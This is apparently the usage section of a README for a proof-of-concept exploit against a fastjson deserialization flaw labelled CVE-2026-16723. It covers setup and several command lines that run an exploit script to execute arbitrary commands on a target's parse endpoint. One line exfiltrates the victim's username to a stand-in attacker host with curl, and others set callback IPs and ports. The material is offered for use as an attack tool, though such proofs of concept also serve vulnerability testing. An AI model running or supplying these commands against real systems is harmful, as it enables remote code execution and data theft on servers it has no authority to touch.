git clone https://github.com/HORKimhab/CVE-2026-16723
cd CVE-2026-16723

# Download fastjson JAR (optional - script will auto-download)
wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

# Basic exploit
python CVE-2026-16723.py -t http://localhost:8080/parse

# Custom command
python CVE-2026-16723.py -t http://localhost:8080/parse -c "id > /tmp/result"

# With custom IP and port
python CVE-2026-16723.py -t http://localhost:8080/parse -c "whoami" --remote-ip 192.168.1.100 --port 9000

# HTTPS target
python CVE-2026-16723.py -t https://target.com/api/parse -c "curl http://attacker.com/$(whoami)" --insecure

# Using proxy
python CVE-2026-16723.py -t http://localhost:8080/parse --proxy http://127.0.0.1:8080

# Custom FD range
python CVE-2026-16723.py -t http://localhost:8080/parse --fd-range 10-50

# Quiet mode
python CVE-2026-16723.py -t http://localhost:8080/parse --quiet